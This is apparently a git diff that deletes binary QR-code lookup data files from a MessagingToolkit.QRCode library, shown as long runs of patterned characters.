~}~}~}~}~}~}~}~}|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvutstststststststsrqrqrqrqrqrqrqrqpopopopopopopoponmnmnmnmnmnmnmnmlklklklklklklklkjijijijijijijijihghghghghghghghgfefefefedcdcdcccdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCBABABABABABABABA@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:9878787878787878765656565654343434343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!                    - - - - - - - -                 - - - - - - - -                 - - - - - - - -                 - - - - - - - -                  - - - - - - - -                    - - - - - - - -                 - - - - - - - - -                 - - - - - - - - - - -                 - - - - - - - -               - - - - - - - -             - - - - - - - -             - - - - - - - -             - - - - - - - -             - - - - - - - -             - - - - - - - -             - - - - - - - -             - - - - - - - -             - - - - - - - -             - - - - - - - - PPOONNMM YYZZ[[\\//..--,,==>>??@@FFEEDDCCaabbccdd@@??>>== YYZZ[[\\HHGGFFEEQQRRSSTTPPOONNMMIIJJKKLLXXWWVVUU - - AABBCCDDQQKKJJIIssttuuvvkkjjiihg::;;<<==ggffeedd22334455~~oonnmmll##""!! **++,,--vvwwxxyywwvvuutt++**))((""##$$%%nnooppqq~~}}||33221100ffgghhii{{zz""!!BBCCDDEEAA@@??>>__``aabbBBAA@@?? WWXXYYZZJJIIHHGGOOPPQQRRRRQQPPOOGGHHIIJJZZYYXXWW ??@@AABBSSRRQQKKqqrrssttmmllkkjj8899::;;iihhggff00112233||}}~~qqppoonn%%$$##""(())**++ttuuvvwwyyxxwwvv--,,++** !!""##llmmnnoo~~55443322ddeeffgg$$##""!!@@AABBCCCCBBAA@@]]^^__``DDCCBBAA - - UUVVWWXXLLKKJJIIMMNNOOPPTTSSRRQQEEFFGGHH\\[[ZZYY ==>>??@@LLKKJJII]]^^__``++**))((AABBCCDDBBAA@@??eeffgghh<<;;::99]]^^__``DDCCBBAA - - UUVVWWXXLLKKJJIIMMNNOOPPTTSSRRQQEEFFGGHHHHGGFFEEwwxxyyzzfedccbba>>??@@AAccbbaa``66778899kkjjiihh..//0011zz{{||}}ssrrqqpp''&&%%$$&&''(())rrssttuu{{zzyyxx//..--,, !!jjkkllmmyyxxwwvvFFGGHHII==<<;;::ccddeeff>>==<<;;[[\\]]^^FFEEDDCC - -SSTTUUVVNNMMLLKKKKLLMMNNVVUUTTSS - - CCDDEEFFJJIIHHGGuuvvwwxxiihgfedc<<==>>??eeddccbb44556677mmllkkjj!! ,,--..//xxyyzz{{uuttssrr))((''&&$$%%&&''ppqqrrss}}||{{zz1100//..hhiijjkk{{zzyyxxDDEEFFGG??>>==<<aabbccdd@@??>>== YYZZ[[\\HHGGFFEEQQRRSSTTPPOONNMMIIJJKKLLXXWWVVUU - - AABBCCDDHHGGFFEEaabbccdd''&&%%$$EEFFGGHH>>==<<;; iijjkkll88776655aabbccdd@@??>>== YYZZ[[\\HHGGFFEEQQRRSSTTPPOONNMMIIJJKKLLDDCCBBAA!!""##{{a``__^^] - -BBCCDDEE__^^]]\\::;;<<==ggffeedd22334455~~oonnmmll##""!! **++,,--vvwwxxyywwvvuutt++**))((""##$$%%nnooppqquuttssrrJJKKQQRR99876543gghhiijj::998877__``aabbBBAA@@?? WWXXYYZZJJIIHHGGOOPPQQRRRRQQPPOOGGHHIIJJFFEEDDCC!!yyzz{{cbbaa``_ @@AABBCCaa``__^^8899::;;iihhggff00112233||}}~~qqppoonn%%$$##""(())**++ttuuvvwwyyxxwwvv--,,++** !!""##llmmnnoowwvvuuttHHIIJJKK;;::9987eeffgghh<<;;::99]]^^__``DDCCBBAA - - UUVVWWXXLLKKJJIIMMNNOOPPTTSSRRQQEEFFGGHHDDCCBBAAeeffgghh{{##""!!IIJJKKQQ::998765!!""##$$mmnnoopp~~}}44332211eeffgghh<<;;::99]]^^__``DDCCBBAA - - UUVVWWXXLLKKJJIIMMNNOOPP@@??>>==$$%%&&'']\\[[ZZY FFGGHHII[[ZZYYXX >>??@@AAccbbaa``66778899kkjjiihh..//0011zz{{||}}ssrrqqpp''&&%%$$&&''(())rrssttuuqqppoonnSSTTUUVV3221100/ !!""kkllmmnn66554433ccddeeff>>==<<;;[[\\]]^^FFEEDDCC - -SSTTUUVVNNMMLLKKKKLLMMNNBBAA@@??""##$$%%_^^]]\\[ - - DDEEFFGG]]\\[[ZZ<<==>>??eeddccbb44556677mmllkkjj!! ,,--..//xxyyzz{{uuttssrr))((''&&$$%%&&''ppqqrrssssrrqqppQQRRSSTT65433221 iijjkkll88776655aabbccdd@@??>>== YYZZ[[\\HHGGFFEEQQRRSSTTPPOONNMMIIJJKKLL@@??>>== iijjkkllzzyyxxwwRRSSTTUU43322110%%&&''((qqrrsstt||{{zzyy00//..-- iijjkkll88776655aabbccdd@@??>>== YYZZ[[\\HHGGFFEEQQRRSSTT<<;;::99(())**++YXXWWVVUJJKKLLMMWWVVUUTT - - BBCCDDEE__^^]]\\::;;<<==ggffeedd22334455~~oonnmmll##""!! **++,,--vvwwxxyymmllkkjj - -WWXXYYZZ/..--,,+##$$%%&&ooppqqrr~~}}||{{221100//gghhiijj::998877__``aabbBBAA@@?? WWXXYYZZJJIIHHGGOOPPQQRR>>==<<;;&&''(())[ZZYYXXWHHIIJJKKYYXXWWVV - -@@AABBCCaa``__^^8899::;;iihhggff00112233||}}~~qqppoonn%%$$##""(())**++ttuuvvwwoonnmmll UUVVWWXX100//..-!!""##$$mmnnoopp~~}}44332211eeffgghh<<;;::99]]^^__``DDCCBBAA - - UUVVWWXXLLKKJJIIMMNNOOPP<<;;::99!!""##$$mmnnooppvvuuttssVVWWXXYY0//..--,))**++,,uuvvwwxxxxwwvvuu,,++**))!!""##$$mmnnoopp~~}}44332211eeffgghh<<;;::99]]^^__``DDCCBBAA - - UUVVWWXX33221100,,--..//UTTSSRRQNNOOPPQQSSRRQQPPFFGGHHII[[ZZYYXX >>??@@AAccbbaa``66778899kkjjiihh..//0011zz{{||}}iiccbbaa [[\\]]^^~}|{{+**))(('''(())**ssttuuvvzzyyxxww..--,,++ !!""kkllmmnn66554433ccddeeff>>==<<;;[[\\]]^^FFEEDDCC - -SSTTUUVV::993322**++,,--WVVUUTTSLLMMNNOOUUTTSSRR DDEEFFGG]]\\[[ZZ<<==>>??eeddccbb44556677mmllkkjj!! ,,--..//xxyyzz{{kkjjiicc - - YYZZ[[\\~-,,++**)%%&&''((qqrrsstt||{{zzyy00//..-- iijjkkll88776655aabbccdd@@??>>== YYZZ[[\\HHGGFFEEQQRRSSTT88776655%%&&''((qqrrssttrrqqppooZZ[[\\]]~}|,++**))(--..//00yyzz{{||ttssrrqq((''&&%%%%&&''((qqrrsstt||{{zzyy00//..-- iijjkkll88776655aabbccdd@@??>>== YYZZ[[\\//..--,,00112233QPONMLKK RRSSTTUUOONNMMLLJJKKLLMMWWVVUUTT - - BBCCDDEE__^^]]\\::;;<<==ggffeedd22334455~~``__^^]]__``aabbzzyyxxww'&&%%$$#++,,--..wwxxyyzzvvuuttss**))((''##$$%%&&ooppqqrr~~}}||{{221100//gghhiijj::998877__``aabbBBAA@@?? WWXXYYZZ1100//....//0011SRRQQPONPPQQRRSSQQPPOONNHHIIJJKKYYXXWWVV - -@@AABBCCaa``__^^8899::;;iihhggff00112233||}}~~bbaa``__]]^^__``}|{{zzyy)((''&&%))**++,,uuvvwwxxxxwwvvuu,,++**))!!""##$$mmnnoopp~~}}44332211eeffgghh<<;;::99]]^^__``DDCCBBAA - - UUVVWWXX~~}}44332211))**++,,uuvvwwxxnnmmllkk ^^__``aa{{zzyyxx(''&&%%$11223344}}~~ppoonnmm$$##""!!))**++,,uuvvwwxxxxwwvvuu,,++**))!!""##$$mmnnoopp~~}}44332211eeffgghh<<;;::99]]^^__``++**))((99::;;<>??@@AAccbbaa``66778899\\[[ZZYY - - cciijjkkvvuuttss#""!! //001122{{||}}~~rrqqppoo&&%%$$##''(())**ssttuuvvzzyyxxww..--,,++ !!""kkllmmnn66554433ccddeeff>>==<<;;[[\\]]^^--,,++**223399::MLKKJJII - - TTUUVVWWMMLLKKJJLLMMNNOOUUTTSSRR DDEEFFGG]]\\[[ZZ<<==>>??eeddccbb44556677^^]]\\[[ aabbcciixxwwvvuu%$$##""!--..//00yyzz{{||ttssrrqq((''&&%%%%&&''((qqrrsstt||{{zzyy00//..-- iijjkkll88776655aabbccdd@@??>>== YYZZ[[\\||{{zzyy00//..----..//00yyzz{{||jjiiccbb - - - -bbcciijjwwvvuutt$##""!! 55667788llkkjjii --..//00yyzz{{||ttssrrqq((''&&%%%%&&''((qqrrsstt||{{zzyy00//..-- iijjkkll88776655aabbccdd''&&%%$$==>>??@@FFEEDDCCZZ[[\\]]GGFFEEDD RRSSTTUUOONNMMLLJJKKLLMMWWVVUUTT - - BBCCDDEE__^^]]\\::;;<<==XXWWVVUU llmmnnoorrqqppoo33445566nnmmllkk""!! ++,,--..wwxxyyzzvvuuttss**))((''##$$%%&&ooppqqrr~~}}||{{221100//gghhiijj::998877__``aabb))((''&&;;<<==>>HHGGFFEE XXYYZZ[[IIHHGGFFPPQQRRSSQQPPOONNHHIIJJKKYYXXWWVV - -@@AABBCCaa``__^^8899::;;ZZYYXXWW - - jjkkllmmttssrrqq! 11223344}}~~ppoonnmm$$##""!!))**++,,uuvvwwxxxxwwvvuu,,++**))!!""##$$mmnnoopp~~}}44332211eeffgghh<<;;::99]]^^__``xxwwvvuu,,++**))11223344}}~~aa``__^^ kkllmmnnssrrqqpp99::;;<>??@@AATTSSRRQQppqqrrssnnmmllkk778899::jjiihhgg//001122{{||}}~~rrqqppoo&&%%$$##''(())**ssttuuvvzzyyxxww..--,,++ !!""kkllmmnn66554433ccddeeff%%$$##""??@@AABBDDCCBBAA\\]]^^__EEDDCCBB - - TTUUVVWWMMLLKKJJLLMMNNOOUUTTSSRR DDEEFFGG]]\\[[ZZ<<==>>??VVUUTTSSnnooppqqppoonnmm55667788llkkjjii --..//00yyzz{{||ttssrrqq((''&&%%%%&&''((qqrrsstt||{{zzyy00//..-- iijjkkll88776655aabbccddttssrrqq((''&&%%55667788]]\\[[ZZooppqqrroonnmmll==>>??@@ddccbbaa55667788llkkjjii --..//00yyzz{{||ttssrrqq((''&&%%%%&&''((qqrrsstt||{{zzyy00//..-- iijjkkllzzyyxxwwEEFFGGHH>>==<<;;bbccddee??>>==<<ZZ[[\\]]GGFFEEDD RRSSTTUUOONNMMLLJJKKLLMMWWVVUUTT - - BBCCDDEEKKJJIIHHttuuvvwwjjiihgfe;;<<==>>ffeeddcc33445566nnmmllkk""!! ++,,--..wwxxyyzzvvuuttss**))((''##$$%%&&ooppqqrr~~}}||{{221100//gghhiijj{{zzyy!!CCDDEEFF@@??>>==``aabbccAA@@??>> XXYYZZ[[IIHHGGFFPPQQRRSSQQPPOONNHHIIJJKKYYXXWWVV - -@@AABBCCRRQQKKJJrrssttuullkkjjii99::;;<>??@@ddccbbaa55667788llkkjjii --..//00yyzz{{||ttssrrqq((''&&%%%%&&''((qqrrsstt||{{zzyy00//..-- iijjkkllllkkjjii ==>>??@@UUTTSSRRwwxxyyzzfedccbbaEEFFGGHH\\[[ZZYY ==>>??@@ddccbbaa55667788llkkjjii --..//00yyzz{{||ttssrrqq((''&&%%%%&&''((qqrrssttrrqqppooRRSSTTUU43322110 !!jjkkllmm77665544bbccddee??>>==<<ZZ[[\\]]GGFFEEDD RRSSTTUUOONNMMLLJJKKLLMMCCBBAA@@!!""##$$`__^^]]\ - - CCDDEEFF^^]]\\[[;;<<==>>ffeeddcc33445566nnmmllkk""!! ++,,--..wwxxyyzzvvuuttss**))((''##$$%%&&ooppqqrrttssrrqqKKQQRRSS87654332hhiijjkk99887766``aabbccAA@@??>> XXYYZZ[[IIHHGGFFPPQQRRSSQQPPOONNHHIIJJKKEEDDCCBB!!""zz{{baa``__^ AABBCCDD``__^^]]99::;;<>==<<%%&&''((\[[ZZYYXGGHHIIJJZZYYXXWW ??@@AABBbbaa``__778899::jjiihhgg//001122{{||}}~~rrqqppoo&&%%$$##''(())**ssttuuvvppoonnmm TTUUVVWW21100//. !!""##llmmnnoo~~55443322ddeeffgg==<<;;::\\]]^^__EEDDCCBB - - TTUUVVWWMMLLKKJJLLMMNNOOAA@@??>>##$$%%&&^]]\\[[Z - - EEFFGGHH\\[[ZZYY ==>>??@@ddccbbaa55667788llkkjjii --..//00yyzz{{||ttssrrqq((''&&%%%%&&''((qqrrssttddccbbaaEEFFGGHHHHGGFFEE$$%%&&'']\\[[ZZY MMNNOOPPTTSSRRQQEEFFGGHH\\[[ZZYY ==>>??@@ddccbbaa55667788llkkjjii --..//00yyzz{{||jjiiccbb - - ZZ[[\\]]~}|,++**))(&&''(())rrssttuu{{zzyyxx//..--,, !!jjkkllmm77665544bbccddee??>>==<<ZZ[[\\]]GGFFEEDD RRSSTTUU;;::9933))**++,,XWWVVUUTKKLLMMNNVVUUTTSS - - CCDDEEFF^^]]\\[[;;<<==>>ffeeddcc33445566nnmmllkk""!! ++,,--..wwxxyyzzllkkjjii - - XXYYZZ[[.--,,++*$$%%&&''ppqqrrss}}||{{zz1100//..hhiijjkk99887766``aabbccAA@@??>> XXYYZZ[[IIHHGGFFPPQQRRSS==<<;;::''(())**ZYYXXWWVIIJJKKLLXXWWVVUU - - AABBCCDD``__^^]]99::;;<>??@@ddccbbaa55667788llkkjjii --..//00yyzz{{||\\[[ZZYY MMNNOOPP@@??>>==,,--..//UTTSSRRQ - - UUVVWWXXLLKKJJIIMMNNOOPPTTSSRRQQEEFFGGHH\\[[ZZYY ==>>??@@ddccbbaa55667788]]\\[[ZZ - -bbcciijjwwvvuutt$##""!! ..//0011zz{{||}}ssrrqqpp''&&%%$$&&''(())rrssttuu{{zzyyxx//..--,, !!jjkkllmm77665544bbccddee??>>==<<ZZ[[\\]]..--,,++11223399ONMLKKJJ - -SSTTUUVVNNMMLLKKKKLLMMNNVVUUTTSS - - CCDDEEFF^^]]\\[[;;<<==>>ffeeddcc33445566__^^]]\\``aabbccyyxxwwvv&%%$$##",,--..//xxyyzz{{uuttssrr))((''&&$$%%&&''ppqqrrss}}||{{zz1100//..hhiijjkk99887766``aabbccAA@@??>> XXYYZZ[[00//..--//001122RQQPONMLQQRRSSTTPPOONNMMIIJJKKLLXXWWVVUU - - AABBCCDD``__^^]]99::;;<>??@@ddccbbaa55667788TTSSRRQQ - - UUVVWWXX3322110099::;;<>??@@UUTTSSRRooppqqrroonnmmll66778899kkjjiihh..//0011zz{{||}}ssrrqqpp''&&%%$$&&''(())rrssttuu{{zzyyxx//..--,, !!jjkkllmm77665544bbccddee&&%%$$##>>??@@AAEEDDCCBB[[\\]]^^FFEEDDCC - -SSTTUUVVNNMMLLKKKKLLMMNNVVUUTTSS - - CCDDEEFF^^]]\\[[;;<<==>>WWVVUUTT mmnnooppqqppoonn44556677mmllkkjj!! ,,--..//xxyyzz{{uuttssrr))((''&&$$%%&&''ppqqrrss}}||{{zz1100//..hhiijjkk99887766``aabbcc((''&&%%<<==>>??GGFFEEDD YYZZ[[\\HHGGFFEEQQRRSSTTPPOONNMMIIJJKKLLXXWWVVUU - - AABBCCDD``__^^]]99::;;<>??@@AAccbbaa``66778899YYXXWWVVssttuuvv__^^]]\\JJKKLLMM''&&%%$$==>>??@@FFEEDDCCZZ[[\\]]GGFFEEDD RRSSTTUUOONNMMLLJJKKLLMMWWVVUUTT - - BBCCDDEE__^^]]\\::;;<<==UUTTSSRRwwxxyyzz[[ZZYYXX NNOOPPQQ{{##""!!AABBCCDDBBAA@@??^^__``aaCCBBAA@@ - - VVWWXXYYKKJJIIHHNNOOPPQQSSRRQQPPFFGGHHII[[ZZYYXX >>??@@AAQQKKJJII!!""##{{WWVVUUTT - - RRSSTTUUzzyyxxwwEEFFGGHH>>==<<;;bbccddee??>>==<<ZZ[[\\]]GGFFEEDD RRSSTTUUOONNMMLLJJKKLLMMWWVVUUTT - - BBCCDDEEHHGGFFEE$$%%&&''SSRRQQPP - - VVWWXXYYvvuuttssIIJJKKQQ::998765ffgghhii;;::9988^^__``aaCCBBAA@@ - - VVWWXXYYKKJJIIHHNNOOPPQQSSRRQQPPFFGGHHIIDDCCBBAA(())**++OONNMMLLZZ[[\\]]rrqqppooRRSSTTUU43322110 !!jjkkllmm77665544bbccddee??>>==<<ZZ[[\\]]GGFFEEDD RRSSTTUUOONNMMLLJJKKLLMM@@??>>==,,--..//KKJJIIHH^^__``aannmmllkk VVWWXXYY0//..--,""##$$%%nnooppqq~~}}||33221100ffgghhii;;::9988^^__``aaCCBBAA@@ - - VVWWXXYYKKJJIIHHNNOOPPQQ<<;;::9900112233GGFFEEDDbbccddeejjiiccbb - - ZZ[[\\]]~}|,++**))(&&''(())rrssttuu{{zzyyxx//..--,, !!jjkkllmm77665544bbccddee??>>==<<ZZ[[\\]]GGFFEEDD RRSSTTUU3322110099::;;<>??@@??>>==<< !!jjkkllmm]]\\[[ZZ - -bbcciijjwwvvuutt$##""!! ..//0011zz{{||}}ssrrqqpp''&&%%$$&&''(())rrssttuu{{zzyyxx//..--,, !!jjkkllmm77665544bbccddee??>>==<<ZZ[[\\]]++**))((AABBCCDD;;::9988""##$$%%nnooppqqYYXXWWVV kkllmmnnssrrqqpp22334455~~oonnmmll##""!! **++,,--vvwwxxyywwvvuutt++**))((""##$$%%nnooppqq~~}}||33221100ffgghhii;;::9988^^__``aa''&&%%$$EEFFGGHH77665544&&''(())rrssttuuUUTTSSRRooppqqrroonnmmll66778899kkjjiihh..//0011zz{{||}}ssrrqqpp''&&%%$$&&''(())rrssttuu{{zzyyxx//..--,, !!jjkkllmm77665544bbccddee{{##""!!IIJJKKQQ~~}}||33221100**++,,--vvwwxxyyQQKKJJIIssttuuvvkkjjiihg::;;<<==ggffeedd22334455~~oonnmmll##""!! **++,,--vvwwxxyywwvvuutt++**))((""##$$%%nnooppqq~~}}||33221100ffgghhiizzyyxxwwRRSSTTUU{{zzyyxx//..--,,..//0011zz{{||}}HHGGFFEEwwxxyyzzfedccbba>>??@@AAccbbaa``66778899kkjjiihh..//0011zz{{||}}ssrrqqpp''&&%%$$&&''(())rrssttuu{{zzyyxx//..--,, !!jjkkllmmvvuuttssVVWWXXYYwwvvuutt++**))((22334455~~DDCCBBAA!!""##{{a``__^^] - -BBCCDDEE__^^]]\\::;;<<==ggffeedd22334455~~oonnmmll##""!! **++,,--vvwwxxyywwvvuutt++**))((""##$$%%nnooppqqrrqqppooZZ[[\\]]ssrrqqpp''&&%%$$66778899@@??>>==$$%%&&'']\\[[ZZY FFGGHHII[[ZZYYXX >>??@@AAccbbaa``66778899kkjjiihh..//0011zz{{||}}ssrrqqpp''&&%%$$&&''(())rrssttuunnmmllkk ^^__``aaoonnmmll##""!! ::;;<<==<<;;::99(())**++YXXWWVVUJJKKLLMMWWVVUUTT - - BBCCDDEE__^^]]\\::;;<<==ggffeedd22334455~~oonnmmll##""!! **++,,--vvwwxxyyjjiiccbb - - - -bbcciijjkkjjiihh>>??@@AA33221100,,--..//UTTSS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dQnXv`nXvbHAZp˂rXQdQZ|drtAJvXnvpfHHAbے`JXQrlJtArd|pvnXv`fbHAZp˂rXQdQZ|drtAJvXnvpfHbے`bے`r󙐂ˁ`H~ㅐf۝`vXnbAdZ|drQtے`JXQbtlbtlf~H`ffp˂rXQJ`ےdrtAJltbvpfH~f``JXQr˂pZrd|ZdQbtXv`f~Hf˂rXQJ`ےdrtAJltbvpfH~f`JXQrJXQrZQXb㉀`vXnvˍpfdrQtJltr˂pJtArdJtArdfpvvnrJ`ےbHAZpltbdQZ|~f`vXn˂pZHAbےZdQbtlJtA~HfpvnJ`ےbHAZpltbdQZ|~f`vXn˂p`J˂p`Zۑp`ZvˍpfH~ㅐfJltbAdZ|`JXQr|ZdQ|ZdQnXv`XQJ`ےbHAZp˂rbdQZ|dtAJlvXnvpfHHAbے`JXQrlJtArd|pvnXv`fbHAZp˂rXQdQZ|drtAJvXnvpfHXQr˂QXb㉀QXb㉀ەH~ㅐf۝`vXnbAdZ|drQt \ No newline at end of file diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv35_2.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv35_2.dat deleted file mode 100644 index 3a3ac08..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv35_2.dat +++ /dev/null @@ -1,313 +0,0 @@ -~}~}~}~}zyzyzyzyvuvuvuvutstststspopopoponmnmnmnm~}~}~}~}zyzyzyzyvuvuvuvutstststspopopoponmnmnmnm~}~}~}~}zyzyzyzyvuvuvuvutstststspopopoponmnmnmnm~}~}~}~}zyzyzyzyvuvuvuvutstststspopopoponmnmnmlk~}~}~}~}zyzyzyzyvuvuvuvutstststspopopopolklklklk~}~}~}~}zyzyzyzyvuvuvuvutstststspopopopolklklklk~}~}~}~}zyzyzyzyvuvuvuvutstststspopopopolklklklk~}~}~}~}zyzyzyzyvuvuvuvutstststspopopopolklklklk~}~}~}~}zyzyzyzyvuvuvuvutstststspopopopolklklklk~}~}~}~}zyzyzyzyvuvuvuvutstststspopopopolklklklk~}~}~}~}zyzyzyzyvuvuvuvutstststspopopopolklklklk|{|{|{|{zyzyzyzyvuvuvuvutstststspopopopolklklklk{{{{{|{|zyzyzyzyvuvuvuvutststsrqpopopopolklklklk{|{|{|{|zyzyzyzyvuvuvuvurqrqrqrqpopopopolklklklk{|{|{|{|zyzyzyzyvuvuvuvurqrqrqrqpopopopolklklklk{|{|{|{|zyzyzyzyvuvuvuvurqrqrqrqpopopopolklklklk{|{|{|{|zyzyzyzyvuvuvuvurqrqrqrqpopopopolklklklk{|{{{{{{zyzyzyzyvuvuvuvurqrqrqrqpopopopolklklklk|{|{|{|{zyzyzyzyvuvuvuvurqrqrqrqpopopopolklklklk|{|{|{|{zyzyzyzyvuvuvuvurqrqrqrqpopopopolklklklk|{|{|{|{zyzyzyzyvuvuvuvurqrqrqrqpopopopolklklklk|{|{|{|{zyzyzyxwvuvuvuvurqrqrqrqpopopopolklklklk|{|{|{{{xwxwxwxwvuvuvuvurqrqrqrqpopopopolklklklkjijijiji{{{|{|{|xwxwxwxwvuvuvuvurqrqrqrqpopopopolklklklkjijijiji{|{|{|{|xwxwxwxwvuvuvuvurqrqrqrqpopopopolklklklkjijijiji{|{|{|{|xwxwxwxwvuvuvuvurqrqrqrqpopopopolklklklkjijijiji{|{|{|{|xwxwxwxwvuvuvuvurqrqrqrqpopopopolklklklkjijijiji{|{|{|{|xwxwxwxwvuvuvuvurqrqrqrqpopoponmlklklklkjijijiji{{{{{{|{xwxwxwxwvuvuvuvurqrqrqrqnmnmnmnmlklklklkjijijiji|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrqnmnmnmnmlklklklkjijijiji|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrqnmnmnmnmlklklklkjijijiji|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrqnmnmnmnmlklklklkjijijiji|{|{|{|{xwxwxwxwvuvuvuvurqrqrqrqnmnmnmnmlklklklkjijijiji|{|{{{{{xwxwxwxwvuvuvuvurqrqrqrqnmnmnmnmlklklklkjijijiji{|{|{|{|xwxwxwxwvuvuvuvurqrqrqrqnmnmnmnmlklklklkjijijiji{|{|{|{|xwxwxwxwvuvuvuvurqrqrqrqnmnmnmnmlklklklkjijijiji{|{|{|{|xwxwxwxwvuvuvutsrqrqrqrqnmnmnmnmlklklklkjijijiji{|{|{|{|xwxwxwxwtstststsrqrqrqrqnmnmnmnmlklklklkjijijiji{|{|{|{{xwxwxwxwtstststsrqrqrqrqnmnmnmnmlklklklkjijijiji{{{{|{|{xwxwxwxwtstststsrqrqrqrqnmnmnmnmlklklklkjijijiji|{|{|{|{xwxwxwxwtstststsrqrqrqrqnmnmnmnmlklklklkjijijihg|{|{|{|{xwxwxwxwtstststsrqrqrqrqnmnmnmnmlklklklkhghghghg|{|{|{|{xwxwxwxwtstststsrqrqrqrqnmnmnmnmlklklkjihghghghg~}~}|{|{|{|{xwxwxwxwtstststsrqrqrqrqnmnmnmnmjijijijihghghghg~}~}~}~}|{{{{{|{xwxwxwxwtstststsrqrqrqrqnmnmnmnmjijijijihghghghg~}~}~}~}|{|{|{zyxwxwxwxwtstststsrqrqrqrqnmnmnmnmjijijijihghghghg~}~}~}~}zyzyzyzyxwxwxwxwtstststsrqrqrqrqnmnmnmnmjijijijihghghghg~}~}~}~}zyzyzyzyxwxwxwxwtstststsrqrqrqrqnmnmnmnmjijijijihghghghg~}~}~}~}zyzyzyzyxwxwxwxwtstststsrqrqrqrqnmnmnmnmjijijijihghghghg~}~}~}~}zyzyzyzyxwxwxwxwtstststsrqrqrqrqnmnmnmnmjijijijihghghghg~}~}~}~}zyzyzyzyxwxwxwxwtstststsrqrqrqrqnmnmnmnmjijijijihghghghg~}~}~}~}zyzyzyzyxwxwxwxwtstststsrqrqrqponmnmnmnmjijijijihghghghg~}~}~}~}zyzyzyzyxwxwxwxwtstststspopopoponmnmnmnmjijijijihghghghg~}~}~}~}zyzyzyzyxwxwxwxwtstststspopopoponmnmnmnmjijijijihghghghg~}~}~}~}zyzyzyzyxwxwxwxwtstststspopopoponmnmnmnmjijijijihghghghg~}~}~}~}zyzyzyzyxwxwxwxwtstststspopopoponmnmnmnmjijijijihghghghg~}~}~}~}zyzyzyzyxwxwxwxwtstststspopopoponmnmnmnmjijijijihghghghg~}~}~}~}zyzyzyzyxwxwxwxwtstststspopopoponmnmnmnmjijijijihghghghg~}~}~}~}zyzyzyzyxwxwxwxwtstststspopopoponmnmnmnmjijijijihghghghg~}~}~}~}zyzyzyzyxwxwxwxwtstststspopopoponmnmnmnmjijijijihghghghg~}~}~}~}zyzyzyzyxwxwxwvutstststspopopoponmnmnmnmjijijijihghghghg~}~}~}~}zyzyzyzyvuvuvuvutstststspopopoponmnmnmnmjijijijihghghghg~}~}~}~}zyzyzyzyvuvuvuvutstststspopopoponmnmnmnmjijijijihghghghghghghghgcdcdcdcd`_`_`_`_^]^]^]^]ZYZYZYZYVUVUVUVUTSTSTSTSPOPOPOPOLKLKLKLKHGHGHGHGFEFEFEFEBABABABA>=>=>=>=<;<;<;<;87878787343434340/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#     - - - hghghghgcdcdcdcd`_`_`_`_^]^]\[\[ZYZYZYZYVUVUVUVUTSTSTSTSPOPOPOPOLKLKLKLKHGHGHGHGFEFEFEFEBABABABA>=>=>=>=<;<;<;<;87878787343434340/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#     hghghghgcdcdcdcd`_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVUTSTSTSTSPOPOPOPOLKLKLKLKHGHGHGHGFEFEFEFEBABABABA>=>=>=>=<;<;<;<;87878787343434340/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#     hghghghgcdcdcccc`_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVUTSTSTSTSPOPOPOPOLKLKLKLKHGHGHGHGFEFEFEFEBABABABA>=>=>=>=<;<;<;<;87878787343434340/0/0/0/.-.-.-.-*)*)*)*)('('('('$#$#$#$#     hghghghgccdcdcdc`_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVUTSTSTSTSPOPOPOPOKKKKKLKLHGHGHGHGFEFEFEFEBABABABA>=>=>=>=<;<;<;<;87878787343333330/0/0/0/.-.-.-.-*)*)*)*)&%&%&%&%$#$#$#$#     hghghghgdcdcdcdc`_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVUTSTSTSTSPOPOPOPOKLKLKLKLHGHGHGHGFEFEFEFEBABABABA>=>=>=>=<;<;<;<;87878787434343430/0/0/0/.-.-.-.-*)*)*)*)&%&%&%&%$#$#$#$#     hghghghgdcdcdcdc`_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVUTSTSTSTSPOPOPOPOKLKLKLKLHGHGHGHGFEFEFEFEBABABABA>=>=>=>=<;<;<;<;87878787434343430/0/0/0/.-.-.-.-*)*)*)*)&%&%&%&%$#$#$#$#     hghghghgdcdcdcdc`_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVUTSTSRQRQPOPOPOPOKLKLKLKLHGHGHGHGFEDCDCDCBABABABA>=>=>=>=<;<;<;<;87878787434343430/0/0/0/.-.-.-.-*)*)*)*)&%&%&%&%$#$#$#$#     hgfefefedcdcdcdc`_`_`_`_\[\[\[\[ZYZYZYZYVUVUVUVURQRQRQRQPOPOPOPOKLKLKLKLHGHGHGHGDCDCDCDCBABABABA>=>=>=>=<;<;<;<;87878787434343430/0/0/0/.-.-.-.-*)*)*)*)&%&%&%&%$#$#$#$#     